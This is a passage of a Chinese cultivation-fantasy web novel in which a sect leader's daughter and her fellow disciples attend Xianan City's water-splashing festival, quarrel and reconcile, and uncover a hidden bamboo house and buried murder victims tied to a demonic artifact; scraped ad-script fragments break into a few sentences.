徐听晚反问道:“那你们此行去干什么?” 原本低头看着书卷的周落私,抬起头笑着道:“回家呀,我们每三个月都会回去看看父母。” 徐听晚点了点头,难怪前次玄天剑宗处理白悟哲长老之事未见二人身影。 周启明爽朗一笑,提议道:“既如此,不如宿于我家,免去奔波之苦?” 徐听晚摆手婉拒:“不用,我们五个人买一个院落,刚好在下南城留一个落点。” 周落私狡黠眨眼道:“那你估计也是在我家买,反正也没多少灵石,送你们一个院落好了。” 徐听晚微蹙眉头,与柳清云交换了一个讶异的眼神。 购置院落并不便宜,上北城还好,像是下南城和银月城的院落常常有市无价。 柳清云拱手问道:“敢问阁下出身何门何户?” 周启明轻拉周落私至一旁,亦拱手回应:“不敢言贵,仅是下南城房商周家之子。” 徐听晚对此不甚了了,转而询问石观明,后者摇头表示不知。 江月平轻叹,解释道:“应当是下南城首富,周家是也。” 言毕,她目光与徐听晚交汇,后者旋即避开,江月平面色如常,目光亦随之流转。 周落私将书卷递至徐听晚面前道:“徐道友,下面好多人给你写了新评语,你看看。” 徐听晚细阅诸评,眉宇间微蹙:“额——好,写的都很好,还是之前那个吧,这些有点太夸张了。” 周落私凝视徐听晚双眸,诚挚道:“我觉得一点都不夸张。徐道友,原本我们是要包下整个云舟回去的,但我想看看能不能遇见你,便没有包下,徐道友我真的很欣赏你!” 徐听晚闻言,眉头微蹙,后退了几步道:“小鬼,你有点火热了。” 首富之子,于她而言,并无惧色,毕竟身为掌门之女,自然要有一番气度。 周落私笑言:“徐道友等到了下南城我们带你们去挑院落,怎么样?” 徐听晚摆手婉拒:“无需奢华,简朴院落即可。身为掌门之女,灵石自是不缺,可自行购置。” 周落私欲再言,却被周启明以肘轻触,示意其止。 周启明笑曰:“道友此行多加小心,若遇难事,持此玉牌至周家,族人必鼎力相助。”言毕,递上一枚精致的云纹玉牌。 徐听晚拱手:“多谢。” 周启明摆手笑道:“相遇即是有缘,何不结为朋友?” 徐听晚颔首应允,心中暗自思量,此玉牌乃重礼,自己却无相应之物回赠。 五行道宗虽有类似的结交玉牌,然她并无资格获取。 于是,她取出书卷,言道:“你我可借此书卷联系,若有急事,唤我便是。力所能及,定当赴援。” 言毕,她又添一句,眉宇间略带戏谑:“然则,莫要频频相扰,否则,我恐生厌。” 说罢,她展颜一笑,温暖如春。 下南城。 民风自由,此地依傍着天河大陆最为蜿蜒的天河而生,其繁华景象仅次于闻名遐迩的银月城。 周家派遣的护卫顺利接走了周家两兄弟,随后,徐听晚一行五人向二人告别,漫步于繁华的街巷之中。 人们欢畅地挥洒着清凉的河水,那水流沿着石板路的缝隙,悠然汇入一旁的河流之中。 石拱桥上,众多女子手提水桶,轻盈地将水洒向空中,形成朵朵晶莹的水花,为炎炎夏日带来一抹难得的清凉与自在。 下南城的泼水节活动仅持续一周,每日于正午时分,阳光最为炽烈的两个时辰里热烈展开。徐听晚五人恰好赶上了这节日第一天的举行时间。 更有灵力高强的修士,以法力操控河水,使其缓缓凝聚成龙凤之形,在空中翩翩起舞,增添了几分奇幻色彩。 四周洋溢着欢声笑语,一位圆头圆脑、憨态可掬的小孩,摇摇晃晃地走到徐听晚面前,将手中一小碗水轻轻泼向她,稚嫩的声音中带着几分羞涩:“漂亮姐姐,福……满满。”说完,他便一溜烟地跑去找大人再要一碗水。 徐听晚低头,只见大腿处留下了一道浅浅的水痕,她嘴角微扬,眼中流露出不加掩饰的温柔。 尽管她并非以温柔之人,但在此刻,她对这份纯真与美好的情感却是毫无保留。 温乐天不知从何处拎来一桶水,猛然间全数倾倒在柳清云身上,将他瞬间变成了落汤鸡。 柳清云迅速抬手,胡乱抹了把脸,怒视温乐天一眼,随即立马转身从邻近的摊位上买了一个木桶。 徐听晚眉头紧锁,疑惑地问:“温乐天,我没见你买木桶啊,这木桶哪儿来的?” 温乐天得意地弯起食指,用关节处指向桥上的一群女子笑道:“我给那些好心的姐姐们露了一手换脸戏法,她们就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 慷慨地扔给了我这个。” “站住,你!”柳清云不甘示弱,运用灵力提起一桶水,抱着木桶便向温乐天追去,水花四溅。 两人瞬间都被淋湿,却不由自主地笑出声来,气氛一时变得轻松愉悦。 徐听晚低头时,注意到江月平的衣摆也湿了一片,心中暗自诧异。 通常,有灵力护体的人是不会轻易被水弄脏或打湿的,除非长时间浸泡水中,或是灵力耗尽,又或是主动撤去了防护。 或许是因为他们三人气质独特和身份特殊,竟无人敢上前泼水。 那个原本打算向徐听晚泼水的小孩,也被大人及时拉住,并在耳边轻声告诫了几句。 突然间,一桶水倾盆而下,将徐听晚从头到脚淋了个透心凉。 她其实早已察觉到身后有人,但鉴于泼水是当地习俗,她便欣然接受,任由这水将她淋湿。 转身之际,映入眼帘的是一位五大三粗的男子,肩上担着两桶水,桶中漂浮着菜叶。 男子眼神不善,上下打量着徐听晚,那目光中充满了不怀好意。 徐听晚眉头微蹙,对身上的菜叶味感到不悦,但她仍努力保持和善,轻声对男子说:“大哥,如果真要泼水,能否将水桶洗净?” 然而,她的话并未得到回应,反而换来男子恶狠狠的眼神和更加放肆的打量。 石观明见状,立刻挡在徐听晚身前,对男子发出眼神警告。但徐听晚却推开他,直面男子,冷冷地问道:“你在看什么?” 男子轻蔑一笑,回答道:“女人不都等着被泼吗?”说着,他的目光更加肆无忌惮地停留在徐听晚因湿透而紧贴身体的衣物上。 徐听晚的眼神瞬间变得凌厉,她伸手一抓,竟硬生生地从男子眼眶中挖出了一只眼睛。她勾起嘴角,模仿着男子刚才的戏谑表情,反看着他。 男子惊恐万分,捂住空缺的眼眶,连连后退,鲜血不断涌出。他愤怒地指着徐听晚,咆哮道:“我只是泼了你一桶水,你就挖了我一只眼!我要告到沧澜符宗去,你个毒妇!” 徐听晚面不改色,平静地回应道:“我何时说过要参加这泼水活动?我只是一个初来乍到的游客。你不分青红皂白泼我一身水,我以为是偷袭,防卫时碰巧弄瞎了你一只眼。有何不妥?” 男子气得脸色铁青,拿起扁担就要攻击徐听晚。但她反手握住扁担,冷冷地揭露自己的身份:“乡野村夫,你可识得我腰间这五行道宗亲传令牌?竟敢对我无礼!” 言罢,她一脚踹在男子腹部,蹲下身来,用恶鬼般的眼神盯着他:“我之所以留下你另一只眼睛,就是要让你亲眼看着自己空缺的一只眼睛。” 随后,徐听晚轻打一个响指,施展清洁术将衣物洗净烘干。 她仅仅抬了抬眉,男子便吓得落荒而逃。 原来这就是周道友说的不怀好意之人,真是恶心。 此事一出,众人更是避之不及,纷纷远离,留下一大片空地。 徐听晚提议道:“我们在此是否妨碍了他人?不如移至偏僻之地。” 石观明指向远方河畔:“那边人少,正合适。” 徐听晚颔首,欲牵江月平之手,半途却尴尬收回,笑道:“月平,我们去那边观赏可好?” 江月平反握住她的手:“大师姐能受他人泼水,那我能泼吗?就如你曾把灵草汁液淋我头顶一般。” 徐听晚闻言,贴近她耳边低语:“随你。” 江月平猛然抽手后退,两人目光交汇,徐听晚眼神清澈无波。 “去河边,让你泼个痛快。”她拉起江月平,行至河畔。 她购得一木桶,径直走向江月平,将盛满清水的木桶稳妥地置于她手中,随后牵引着她的手,让那清凉的液体缓缓倾泻在自己身上。 水珠轻盈地栖息在她的睫毛边缘,她奋力抬眼,凝视着江月平,水珠终是不堪重负,沿着脸颊两侧滑落,滴滴答答地溅落在江月平的衣襟上。 两人距离极近,呼吸交织在一起,徐听晚布下一道无形的屏障,隔绝外界声响,轻声询问:“你恨我吗?” 22.竹屋 “恨过……你呢?为何如此厌恶我。”江月平的手猛然攥住徐听晚的衣领,质问中带着不容置疑的力量。 石观明在一旁,对两人的对话一无所知,只能默默护在一旁。 徐听晚被逼至河边,面对江月平的步步紧逼,她无言以对,只能任由事态发展。 未得回应的江月平,愤怒之下将徐听晚推入河中。 真的如此憎恨吗?她低头凝视着徐听晚逐渐没入水中,却未使用避水符,只是静静注视着她。 石观明见状,心急如焚,欲跳入河中救援,却被徐听晚轻轻摆手制止。 紧接着,江月平贴上避水符跃入河中,避水符的屏障连同徐听晚一起罩住。 确认两人无恙后,石观明松了口气,但心中却五味杂陈,忧虑着若两人冲突升级,他该如何调解。 他深知,过往的恩怨纠葛,岂是轻易能了结的。 一股激流猛然袭来,将水中的两人推向远方,石观明紧随其后,心中焦虑万分,深恐两人的争执进一步升级。 两人任由湍急的河流带着两人逐渐远离。 徐听晚奋力稳住身形,竭力将口中的河水咳出,方才的窒息感让她头晕目眩,几欲昏厥。 江月平那张素来平静无波的脸庞上,罕见地浮现出一抹复杂的情绪。她眉头紧锁,手指微微颤抖,目光紧盯着徐听晚因憋气与剧烈咳嗽而涨红的脸颊,满是关切与忧虑。 下南城的泼水节,习俗便是以水传情,有多喜欢便泼多少水。 然而,大师姐分明目睹了她打湿的衣摆,却未有任何举动。 徐听晚的双眼泛红,凝视着江月平,声音低沉而诚恳:“抱歉。” 江月平深吸一口气,语气坚决:“我无法原谅。” 她心中暗自思量,若真原谅,是否意味着两人的关系将彻底断绝。 徐听晚的眼眶微微颤抖,拳头紧握,连声道歉:“对不起,是我心生嫉妒,是我度量狭小,是我自私自利,是我自以为是……” 江月平打断她,怒喝道:“够了,不必再说了。” 随即,她转身,手持青云剑,御剑而起,飞向岸边,留下徐听晚独自在水中。 徐听晚轻叹一声,也紧握判决剑,紧随其后,飞至岸上。 她浑身湿透,茫然环顾四周,发现两人已远离城镇,置身于一片幽深的森林之中。 石观明见两人关系似乎有所缓和,心中稍安。 徐听晚施展清洁术,将身上的水渍与湿发迅速烘干。 江月平则一步步向密林深处走去,徐听晚紧随其后,仔细看去,隐约可见竹林摇曳。 三人行至一竹屋前,屋旁及后皆植青竹,郁郁葱葱。竹门之前,落叶层层叠叠,杂乱中透着几分岁月的痕迹。 徐听晚见状,微微蹙眉。 此竹屋显得破败不堪,似久无人居,然门前枯叶之态,又似常有访客踏足。 江月平轻推竹门,步入其中,言道:“此处应是古忆南仙师昔日居所。” 徐听晚与石观明闻言,相视而惊。石观明随即问道:“何以见得?此乃石观明仙师旧地?” 江月平淡然回应:“姜掌门告知于我古忆南仙师住处在下南城环城密林之中,四处种满了青竹,她与古忆南仙师交情匪浅。” 徐听晚闻言,若有所思,随即开始细致探查四周。 石观明轻轻蹙眉,疑惑道:“此处气味为何如此混杂?” 徐听晚闻言,抬头询问:“何以见得杂乱?” “难以言喻,仿佛诸多香料无序交织,虽淡,细闻还是可以闻到,闻到便会觉得十分恶心。” 徐听晚颔首,目光下移,轻踏地面尘埃。 石观明眉头紧锁,似有所感,寻着味道转身拉开一旁破旧的衣柜,于尘封的白衣间翻寻,最终取出一枚陈旧的香囊。 他细细端详,左右审视,轻嗅其味,确认无异后,置于一旁。 随即,他继续搜寻其他线索。 徐听晚抬头,目光恰好落在石观明置于一旁的香囊上,她轻声询问:“这香囊内藏何物?” 她轻拾起香囊,在手中仔细查看。 “不过是些紫兰花罢了,此花香气悠长,故常被赋予永不凋零之爱的象征。”石观明解释道。 石观明在屋内踱步,试图捕捉那股难以言喻的混合气息——药香与木香交织,颇为奇异。 徐听晚凑近香囊,轻嗅其香,一股莫名的熟悉感油然而生,她不禁蹙眉:“观明,这香气,我似乎曾在哪里闻过。” “能让你感到熟悉的香气,确是不多见……”石观明话音未落,忽地放下手中之物,两人目光交汇,异口同声:“母亲!/ 师母!” 徐听晚眼眸闪烁,忆起母亲腰间常挂的那个紫兰花香囊。 小时候的母亲对她疼爱有加,那紫兰花香,曾是她童年的温馨记忆。 然而,因她对剑法兴趣缺缺,频遭父亲责难,母亲的态度也随之转淡,那份温情似乎渐行渐远。 她细心地捻动香囊上的绸缎丝线,那繁复的绣花握在手中,奇怪的十分厚重。 几经拨弄,一张细薄的小纸条悄然显露。 徐听晚轻轻展开纸条,石观明见状,不由自主地靠近,两人目光聚焦于那几行触目惊心的字迹上。 “林家密令:诱惑刺杀叶家长子叶司玉。” “林家?”徐听晚低声重复,语气中满是疑惑。 石观明眉头紧锁,不解道:“林家,那不是师母的母家吗?” 两人交换了一个复杂的眼神,与此同时,江月平那边也有了新发现。 她猛地抽出一本旧书,书架随之摇晃,尘土与土块纷纷落下,一道隐秘的暗门赫然显现。 三人迅速沿楼梯步入暗道,石观明甫一踏入,便紧蹙眉头,沉声道:“这里有一股很淡的尸臭味。” 此言一出,其余二人皆是一惊,若是有这气味意味着此处可能藏有死去不到一月的尸体。 三人继续前行,一座精巧的竹屋隐匿于下方,其上覆盖着厚厚的尘埃,透露出久无人迹的寂寥。 地下空间广阔,竹屋雅致,假山流水相映成趣,古琴与秋千静置于旁,却未见任何尸骸的踪迹。 小池塘中,汇聚灵力的灵器若隐若现,水草轻摇,小鱼穿梭其间,生机盎然。 竹屋正中,一幅画像引人注目,画中女子腹部隆起,面容哀愁而疲惫,正轻抚着外头的古琴。徐听晚眉头紧锁,凝视着画中之人,三人皆已认出,那正是师母林流华。 徐听晚的目光移向画旁的落款与时间——天河十一重,二千四百九十八年,古忆南。 她心中疑惑顿生:“这时间……但我母亲是在二千五百年八月怀上的我,这真的是母亲吗?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 石观明轻轻摇头,即便面容相似,腰间那香囊的巧合也令人难以置信。徐听晚轻叹一声,将画像取下,妥善收起。 三人继续深入探索,屋内仅余简单的生活用品及一个未完成的婴儿摇篮。 江月平在地上拾起一张泛黄的纸张,三人围拢共阅其上字迹:“忆南哥,对不起,我不能让你继续错下去。我已放她离去,孩子我带走了,望你迷途知返!”落款为江枝意。 徐听晚见状,目光闪烁,望向江月平。 江枝意,那不正是她的母亲吗?原来如此,她跟着过来追查古忆南之事,是因古忆南与她母亲之间可能产生联系。 徐听晚不经意间瞥见一条锁链,她弯腰拾起,细察之下,确认其为脚链,遂将其妥善收起,打算稍后让精通器修的乐天鉴定一番。 江月平将手中的纸条折叠收起,目光不经意间掠过徐听晚手中的脚链,随后缓缓上移至她的眼眸。感受到这抹注视,徐听晚微微侧头,目光游离至一旁,佯装继续搜寻着周围的线索。 石观明坚定地摇了摇头,语气肯定:“不对,我的嗅觉不会出错,这里确实有一股尸臭味。上面虽然闻不到,但下方却隐约可辨。” 徐听晚闻言,抬头审视着这个地下空间的顶部石砖。 她注意到,竹屋正下方的石砖与周遭截然不同,其缝隙间隐约透出一丝暗沉之色。心中似有所悟,她迅速迈步上前。 她抽出判决剑,剑尖直插地面,随后猛然拔起。剑身之上,一抹刺眼的血红赫然显现。 “这地面的土质有异,”徐听晚沉声道,“显然是被人挖开后又重新加水铺就的。” 石观明闻言,立刻拿出书卷,迅速联系起温乐天和柳清云二人。 温乐天挥动铁铲,利索地掘开土层,显露出一片片正面翠绿、背面棕褐的叶片,其下掩藏着层层堆叠的尸骸。 他扯了扯嘴角,喃喃自语:“叫我来果然没好事,都等着我来挖。” 拨开尸体,触目惊心的是,每具尸体的手都被残忍地塞进了自己的口中。 徐听晚见状,眉头紧锁,目光下移,发现尸体之下还压着几件异常华贵的衣物。 “这是什么意思?”柳清云眉头深锁,不解地询问。 除了温乐天,众人皆摇头表示不解。 温乐天闭目沉思,眉头紧锁,似乎在竭力回忆着什么。 “且慢,容我细想,我依稀记得在某古籍中读到过……‘口含其手,终谣言,尸压人衣,立死咒’。” 徐听晚闻言,眉头微蹙:“立死咒?此言何意?” 温乐天轻轻摆手:“那不过是些无稽之谈,我不过是闲暇时翻阅了些散修胡乱编写的书籍罢了。” 石观明随即转身:“我去向沧澜符宗通报此事。” 柳清云则用树枝轻触尸体裂开的口部,眉头紧锁:“这些死者的嘴巴是被残忍切开,手被塞入其中,再以线缝合。” 徐听晚言简意赅地向二人复述了方才的经过,刻意避开了与江月平险些冲突的细节,只是轻描淡写地掠过。 随后,她语气凝重地分析道:“这些尸体与古忆南之间,应该并无瓜葛,更像是凶手特意选择此地作为埋尸之所。可此人究竟是如何悄无声息地将如此众多的尸体搬运至此?” 柳清云扯开尸体衣服,面色惊恐道:“我好像知道是怎么做到的了。” 23.魔器初现 沧澜符宗迅速派遣人员抵达现场。 “诸位是如何发现这些遗体的?” 发问的是沧澜符亲传二弟子,梅问君。 徐听晚不假思索地回应:“我与师妹觉得好玩跃入河中,随波逐流至此。见密林深处竹影婆娑,心生好奇,便上前一探究竟。脚下土壤异于常处,我剑尖轻触,拔出时竟带出血迹,遂挖掘之下,惊现尸骨。” 她言辞流畅,语毕,嘴角勾起一抹浅笑。梅问君则低头记录,对她的叙述仅以轻声“嗯”作为回应。 “需要帮助吗?”徐听晚礼貌相询。 梅问君身后,一名内门弟子面露不屑,低声嘀咕:“故作姿态,若非混元宝宗那二人搅局,我沧澜符宗亲传二弟子与大弟子怎会落败,这榜首之位怎会轮到她。” 徐听晚耸肩一笑,不以为忤,正欲转身离去,梅问君的声音却适时响起。 “需要。” 她闻言转身,眉宇间微蹙,心中暗道:他怎么像个人机一样。 梅问君面无表情地握着手册,毛笔则井然有序地安放于木盒之内。 他面容清秀,举止间透露出文人墨客的文雅气质,一袭黑白色宗门服饰更添几分庄重,仿佛能将他眼中的呆滞转化为深沉的专注。 他眼眸清澈如镜,深邃而平静,不带丝毫波澜,犹如一泓未被尘世污染的清泉。这样的眼神,让徐听晚不由自主地联想到那些古老宝殿前静谧的水鼎,水面清澈,倒映着自己,扔下硬币砸碎自己,完成祈福。 徐听晚心中对梅问君的感受渐渐清晰,那是一种繁华落尽后的宁静,是冷漠外表下隐藏的纯真与执着。面对他的询问,她微微一笑,回应道:“你身后的同门似乎不想让我插手。” 梅问君闻言,转头望向那些弟子,随即转回目光,望向徐听晚,眼中满是不解与诚恳:“他们不想让你们帮忙关我何事,只要你们能帮上忙,沧澜宗定当重谢。”他的话语简洁而坚定,透露出不容置疑的认真。 “我喜欢和聪明人说话。”徐听晚目光转向正专注检验尸体的柳清云,轻声道:“清云,把你的发现和他们说一说。” 柳清云应声抬头,条理清晰地开口:“这些遗体,最早的一批已逾三月,最新的则是两周前所留。每具尸体均被涂抹了泥腐草汁以防腐,且四肢被截断后重新缝合,此手法或许正是凶手搬运尸体的手段。” 梅问君提出疑问:“凶手为何要大费周章地将尸体移至此处,而非直接销毁?” 徐听晚眼神示意温乐天,后者迅速接过话茬,为梅问君解惑:“梅道友,这些尸体皆以手掩口,我曾在一本散修瞎写的书中读到,‘口含其手,谣言止;尸压人衣,死咒立’。凶手此举,意在施咒。” 梅问君眉头紧锁,追问:“此咒有何效用?” 温乐天轻笑摇头:“书中妄言,谓能令亡魂世世为哑,实则无稽之谈,毫无实效。凶手竟信以为真,想来非修道之人。” 梅问君却持不同看法,摇头否定:“其中两具新尸,乃问书宗高徒,若无修为,岂能轻易取其性命并远途搬运?” 徐听晚听着梅问君的声音,愈发觉得他语气间透着股呆愣之气,说话断句与常人迥异。 江月平直指一具尸体的心脏部位,言简意赅:“此尸心口,魔气缭绕。” 梅问君眉头紧锁,质疑道:“皆是魔修所为?” 徐听晚轻轻摇头,眼神中闪烁着思索的光芒:“说说你们的线索吧,这么多人遇难,你们不可能毫无察觉。” 梅问君身后的弟子们对她的语气颇为不满,眼神中怒火中烧,纷纷投以怒视。 徐听晚淡然以对,微微挑眉,目光扫过众人。 梅问君将手册递给她,言简意赅地说:“这是我整理的失踪人员详细资料。三个月前,下南城发生了一起骇人听闻的连环凶杀案,三十条无辜生命陨落。经调查,魔气残留,疑为魔修所为。随后,我们加强了防御,凶杀案得以遏制,但失踪事件却接踵而至,至今已有二十三人失踪,包括问书宗两位亲传。起初,我并未将两案并论,直至在失踪弟子居所发现与死者往来的书信,信中仅留一句:‘疑是洛川神女作,千娇万态破朝霞’,发现这两案之间可能存有丝丝联系。” 徐听晚轻摇首,断言:“凶手并非外界的魔修。” 一名男弟子闻言,怒不可遏:“说什么谜语,我下南城里怎么会有魔修!” 徐听晚步步紧逼,直视其目:“敢不敢赌一赌?” 她眸光锐利,寒意隐现。 男弟子不甘示弱:“赌便赌,赌注为何?” 徐听晚淡然一笑,轻拍其肩:“赌上性命如何?” 此言一出,众人皆是一惊 徐听晚环视四周,云淡风轻:“他身无长物,唯余此命可赌。” 男弟子正欲应战,却被梅问君及时制止。 “别做一些浪费时间的事情。”梅问君语气冷冽,打断了这场即将升级的冲突。 男弟子轻蔑地嗤了一声,道:“真是个狂妄到极点的女人。” 徐听晚淡然一笑,回应道:“不过是个不敢赌的怂货罢了。” 梅问君转身,对身后的弟子们冷冷说道:“你们皆是大师姐麾下的弟子,此事原应由她亲自处理,但她现正闭关修炼,故由我暂代其职。若有人不愿听从我的安排,大可返回宗门。” 言毕,他身后的弟子们不由自主地退了几步,显露出对梅问君的敬畏。 徐听晚心中微讶,沧澜符宗果然如外界所传,制度严谨,亲传弟子竟能如此轻易地调动内门弟子。 她瞥见那男弟子强忍怒气的模样,不禁轻笑,随后轻叹一声道:“梅道友,能相信这等诅咒之术的人,想来并无多少修炼经验 外界魔修亦不可能频繁冒险进入宗门领地只为杀害这些人,因此,此人很可能是利用古书所说的魔器行凶。至于这魔器的来源,唯有捉到此人才能揭晓。至于那诗句,它描绘的是牡丹之姿,我对此地不甚了解,但梅道友或可联想到南城与牡丹相关的知名之地,前往探查。” 说罢,她将手中的手册递回给梅问君,并从袖中取出自己的书卷道:“加我书卷,我们现在要去购置一处院落作为休息的地方。若案件有何进展或疑问,可随时通过书卷联系我。” 为了探明那把镶嵌奇异球体的短剑是何物,她向姜满询问。姜满直言不讳,告知她这或许是魔教所制的魔器 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,并简明扼要地阐述了魔器的功能。 魔器,其力在于惑人心智,诱使欲望膨胀。制作者倾注的魔气愈是深厚,魔器的威能便愈发强大。 完成书卷好友的添加后,徐听晚转身离去,步伐轻盈。 梅问君凝视着她的背影,久久未语。 他手中的手册整洁如新,唯有被她随意翻动过的那一页,留下了浅浅的折痕。 然而,手册的主人非但不以为意,反而特意将这一页翻开,似乎想要留住这份不经意的痕迹。 "非常抱歉,我这院落并不打算出售。" "非常抱歉,我这院落并无出售之意。" …… 接连走访多家,皆是同样的拒绝。 柳清云眉头紧锁,不解道:"既然不卖,那为何还要张贴告示?" 江月平语气平和地分析:"恐怕我们是被某些人刻意针对了。" 徐听晚手持刚买的云片糕,轻松道:"无妨,我们带着玉牌去周家求助,顺道探明是谁在暗中作梗。" 说罢,她莞尔一笑,将一块云片糕递至江月平唇边。令人讶异的是,江月平竟张口吃了,徐听晚细心地喂她吃完。 "大师姐,也给我来一口呗。"温乐天嬉皮笑脸地凑上前。 徐听晚拿起另一块云片糕,江月平见状,眉头微蹙。最终,在两人的注视下,徐听晚将云片糕送进了自己的口中。 "自己没手吗?" 江月平眉头稍展,温乐天轻哼一声,伸手欲取,徐听晚灵活一侧身,笑道:"不会自己去买吗?" "大师姐,你真是太偏心了!"温乐天嘟嘴抱怨道。 徐听晚颔首轻语:“你去找你二师兄,或者作为师兄,给四师弟买去。” 石观明闻言,嘴角勾起一抹笑意,自背后取出两个油纸包,分别赠予柳清云与温乐天。 这糕点是他刚才与徐听晚一起买的。 “二师兄!你真是太好了!”温乐天兴奋地拆开油纸,急不可耐地将云片糕送入口中。 柳清云则缓缓打开自己的那份,首先递予石观明品尝。 此景之下,温乐天笑容渐敛,动作停滞,惊愕之余,眉头微蹙,戏谑道:“我视你为手足,你却如此‘插刀’!” 柳清云轻笑,又取一块云片糕,轻触温乐天唇边:“先给二师兄,再给三师兄,都有,别生气。” 温乐天愣了愣,尴尬的笑了笑,吃下递过来的云片糕。 柳清云有时候总能用真诚打败一切。 徐听晚在一旁忍俊不禁,忽觉唇边多了一块云片糕,原是江月平默默递来。 她静默不语,只是平静的盯着她的眼睛,她连忙接过,含笑以谢。 “小师妹给的似乎格外甜些。” “嗯。”江月平轻声回应,几不可闻。 “徐道友!”一声呼唤闯入,周启明步入视线。 徐听晚讶然抬头,未曾想他会亲自寻来。 她原只是想用书卷告知他一声。 “我并未告知你我等所在,你如何找来的?” “浅黄衣袍,黄玉银蝶簪,九玉缠金吊坠在城中一打听便知。”周启明淡然答道。 24.眼珠短刀 徐听晚倚墙而立,他们精心挑选了一处紧邻拱桥的幽静院落,得益于周启明的迅速安排,一切迅速尘埃落定。 周启明异常忙碌,在迅速协助她们之后,便匆匆投身于其他事务之中。 一只青蝶悠然降落在她的袖边,她惊喜之余,轻抬皓腕,动作轻柔至极,唯恐惊扰了这脆弱的生灵。 然而,一阵突如其来的狂风席卷而来,她连忙以手为屏,试图为青蝶挡风,却不料这细微的动作反而惊扰了它,青蝶振翅高飞,终被狂风裹挟而去。 徐听晚的目光追随着青蝶远去的方向,只见一名女子,身姿轻盈,宛若那随风而去的青蝶,自拱桥之上毅然跃入湍急的河流之中。 这一幕突如其来,引得众人纷纷围拢,梅问君率领众弟子紧随其后,场面一时之间变得紧张而混乱。 徐听晚巧妙地穿梭过人群,疾步上前,目睹了梅问君毅然决然地跃过桥栏,跳进渐渐染红的河流之中,英勇地抱起一名女子,借助飞行折扇的助力,将她拉起带了上来,最后施了个清洁术将身上烘干。 那女子唇边不断溢出触目惊心的黑红血液,生命之火似乎随时可能熄灭。 “清云!”徐听晚焦急地呼唤,声音穿透了院落的宁静。柳清云闻声,眼眶泛红,匆匆奔出,一脸茫然,显然对突如其来的变故一无所知。 “怎么了,大师姐?”他的声音沙哑,透露出难以言喻的委屈与困惑。 徐听晚见状,心中五味杂陈,决定稍后再询问详情,她温柔地抚摸着柳清云的脸庞,试图给予他一丝慰藉。 “你看看这位姑娘的情况如何。”她轻声吩咐。 柳清云蹲下身,仔细检查了女子的颈部与腹部,最终无奈地摇了摇头:“她中了烟雨毒,此毒无解,遇水即毙……” 徐听晚眉头紧锁,追问起事件的缘由。梅问君紧握双拳,愤怒地一脚踹向一旁的一名男弟子,正是之前与徐听晚争执不休的男弟子。 “李寻安!若非你口出狂言,她又怎会受此刺激!待此事了结,我必向大师姐禀报,严惩不贷!”梅问君的话语中充满了愤慨。 徐听晚闻言,心中微惊,未曾想这位平日里行事严谨之人竟会如此动怒。她终于得知了这位男弟子的姓名,李寻安。 “李寻安,是你指使那些商户拒绝向我们出售院落的?”徐听晚的语气中带着几分质问。 李寻安捂着被踢痛的腹部,怒目圆睁,跪在地上,沉默不语。在众目睽睽之下,作为沧澜符宗内门弟子的他颜面尽失,双手紧握成拳,心中充满了不甘与怨恨。 他暗自咬牙,恶念如野草般疯长。此时,一把短剑在河床上微微闪烁着寒光。 外面的喧嚣终于将正忙于整理的石观明、温乐天和江月平三人引出。 看见地上躺在的女人,温乐天急步向前,却被沧澜符宗的内门弟子拦在门外。他敏捷一跃,轻松越过障碍,快步至大师姐徐听晚身旁,调侃道:“大师姐,你怎么走到哪,哪就死人。” 徐听晚闻言,起身,轻挥拳头,精准落在温乐天脑后,笑斥:“再乱说,信不信我把你脱光了吊在这桥上。” 温乐天揉了揉微痛的脑后,嬉笑道:“不过是句玩笑,大师姐莫恼。” “案件可有结果了?”徐听晚目光紧锁梅问君,轻声询问。 梅问君轻叹,随即灵力涌动,构筑起一道屏障,语气冷冽:我们在名为牡丹阁的店铺中发现了这名女子,表面上看,它是一家售卖衣物的商户,实则暗藏玄机,内里竟是藏匿着早已被禁的妓院。得益于问书宗两名亲传弟子的掩护,此地竟在五六年间未被揭露。此女也是厉害,手握魔器,将相关人等一一斩杀。我费尽唇舌,终使她情绪稍安。问及魔器来源,一旁的李寻安却出言不逊,斥她为“贱女人”,催促她速速交代。她闻言大怒,猛然挥动魔器,伤及数名弟子后,夺路而逃。” 屏障消散,梅问君随即吩咐弟子妥善安置亡者。 徐听晚闻言,眉头紧锁,温乐天则怒不可遏,一脚踹向李寻安,愤愤道:“踢到出生了真是晦气!” 梅问君转向柳清云,拱手道:“柳道友,可否劳烦您随我前往沧澜符宗,记录此案详情?届时必有重谢。” 柳清云颔首应允:“等我们打扫完院落我再和你去可以吗?” 梅问君微笑应允,并主动提出协助清扫。 徐听晚欲阻,温乐天却已勾住梅问君脖颈,笑道:“既然如此,你就来帮我拔草吧,我都快累趴下了。” 梅问君点头应允,二人并肩步入院中。 徐听晚转而看向静默的柳清云,提议道:“清云,我们去那边聊聊可好?” 柳清云轻轻点头,二人遂移步他处。 江月平站在门口看着两人微微垂眼,随后走进房间打开与徐听晚发簪相联系的留影石。 "清云,刚才究竟发生了什么?" 徐听晚细心地整理着柳清云浅蓝衣衫的褶皱。 柳清云眼眸闪烁,望向徐听晚,感受到她温柔的动作,眼眶不禁泛红,嘴角微微下撇。 他抓了抓头发,强忍着泪水,声音细若游丝,断断续续地诉说着:"我误以为...小师妹以青云命名灵剑,是与我两情相悦。我精心筹备许久,打算今日向她表白心迹,却不料被她婉拒。她还说,若灵剑之名引起了我的误解,便愿意更改,但剑名岂是儿戏,岂能轻易更动。正此时,大师姐你呼唤我,我便匆匆逃离了现场..." 徐听晚取出一条淡黄手帕,递到他面前,安慰道:"如果做不了有情人,就做好师兄妹。难过就哭出来,身体都告诉你难过的时候要哭,为什么要违背身体呢?" 当时看见柳清云冲出,那双被憋红的双眼,徐听晚心中不禁泛起一阵怜惜,毕竟柳清云是她一点点看着长大的。 “大师姐,我……”柳清云紧握着徐听晚的衣袖,泪水在眼眶打转,终是忍不住放声大哭,拿着她的手帕边哭边擦。 徐听晚轻轻整理着刚才柳清云自己揉乱的发丝,将沾满他眼泪的手帕送给了他,静静地陪他哭完。 两人回去时,院落已经打扫干净,江月平盯着两人转身无视,走进自己的房间。 柳清云和梅问君一同离开。 两人因距离尚近,未动 